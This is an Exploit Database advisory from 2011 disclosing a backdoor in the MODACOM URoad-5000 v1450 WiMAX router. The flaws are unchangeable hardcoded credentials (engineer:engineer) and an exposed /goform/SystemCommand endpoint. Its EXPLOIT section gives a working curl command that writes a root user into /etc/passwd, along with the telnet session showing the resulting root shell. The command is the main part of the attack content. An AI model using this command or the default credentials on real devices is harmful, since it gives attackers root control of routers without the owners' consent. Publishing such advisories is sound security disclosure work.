MODACOM URoad-5000 1450 – Remote Command Execution / Backdoor Access

• Exploit Database
• 20 阅读

• 作者： Alex Stanev
  日期： 2011-06-02
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/17356/

• ================================================
   == Alex Stanev Security Advisory #4 @31.05.2011 ==
   == http://sec.stanev.org==
  ================================================
  
  PRODUCT
   URoad-5000
  
  VENDOR
   MODACOM [http://www.modacom.co.kr]
  
  VERSIONS AFFECTED
   v1450
  
  CLASS
   Remote command execution/Backdoor
  
  PRODUCT DESCRIPTION
   URoad-5000 is integrated battery powered wireless router. It comes with only one external USB
   interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050.
   The USB port is used for connection with MW-U3050, which is USB WiMAX dongle.
   Linux inside.
   Often marketed as WiMAX 2 WiFi "converter".
  
  THE PROBLEM
   The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP.
   1) Web administration interface can be accessed with standard user/password pair admin:admin
   This can be later changed, but there is another possible access pair - engineer:engineer
   and it can't be changed via the web interface.
   2) Some of the SDK standard scripts are left and their screens in the web interface are just
   HTML commented. This reveals the /goform/SystemCommand method.
  
  EXPLOIT
   1) Remote add r00t user with password boza
  $curl --basic -u "engineer:engineer" \
  	-d "command=echo -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\" >> /etc/passwd;&SystemCommandSubmit=Apply" \
  	192.168.100.254/goform/SystemCommand
  $telnet 192.168.100.254
  Trying 192.168.100.254...
  Connected to 192.168.100.254.
  modacom login: r00t
  Password: boza
  BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash)
  Enter 'help' for a list of built-in commands.
  #
  
  ADDITIONAL INFO
   The flaw was presented on OpenFest 2010.
   Presentation: http://openfest.org/files/slides-2010/OpenFest2010_Reverse_engineering_Alex_Stanev.pdf [in bulgarian]
  
  PATCH/WORKAROUND
   No workaround possible. Next version?
  
  VENDOR STATUS
   NOT informed. Backdoor.
  
   =========================
  == EOF ==
  == http://sec.stanev.org ==
   =========================